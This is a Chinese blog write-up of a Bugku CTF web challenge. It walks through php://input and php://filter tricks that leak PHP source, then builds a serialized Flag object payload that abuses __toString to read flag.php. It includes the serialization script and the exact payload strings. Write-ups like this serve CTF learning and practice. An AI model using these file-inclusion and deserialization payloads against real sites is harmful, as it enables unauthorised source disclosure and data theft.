bugku---welcome to bugkuctf

题目
http://123.206.87.240:8006/test1/
在这里插入图片描述
查看源码
在这里插入图片描述代码大概讲的是
需要get传递三个值:

txt,file,password

并且
$user的文件内容为

welcome to the bugkuctf

$file为hint.php
password暂时还没用到
file_get_contents( u s e r , ′ r ′ ) 函 数 作 用 是 将 user,'r')函数作用是将 user,r)user的文件内容写到字符串里
这里涉及到php伪协议(php://input)

这个是有关于php伪协议的解释https://blog.csdn.net/qq_27682041/article/details/73326435

接下来使用我们的bp工具进行抓包
构造txt=php://input,并且post传值welcome to the bugkuctf
在这里插入图片描述
我们可以看到页面变化
在这里插入图片描述
接下来
include($file)还涉及到php://filter协议

这是关于php://filter协议的解释
https://blog.csdn.net/wy_97/article/details/77432002

构造一个

file=php://filter/read=convert.base64-encode/resource=hint.php

得到hint.php网页的base64编码后的源代码
在这里插入图片描述
解密后得到
在这里插入图片描述
继续同样的方法

file=php://filter/read=convert.base64-encode/resource=index.php

获取index.php网页base64编码后的源代码
在这里插入图片描述
解密后得到
在这里插入图片描述

hint.php中提示flag.php,且index.php有对关键词flag进行了preg_match
hint.php中定义了一个类Flag,中间有个 __tostring 方法,将这个类作为字符串执行时会自动执行的一个函数
__tostring 方法执行时,将变量$file作为文件名输出文件内容,结合提示flag.php,猜测flag.php文件在此打开
在index.php源码中看到了$password的作用

将hint.php中的Flag当做字符串执行时,会自动执行 __tostring方法,只有echo,只能输出一个或多个字符串,所以构造password为Flag类型,其中的string变量flie=flag.php

由于存在password=unserialize(password);
执行该脚本得到

<?php
	class Flag{//flag.php  
    public $file;  
    }  
 
	$a = new Flag();
	$a->file = "flag.php";
    $a = serialize($a);
	print_r($a);
?>

需要构造序列化对象payload为

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Luckysec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值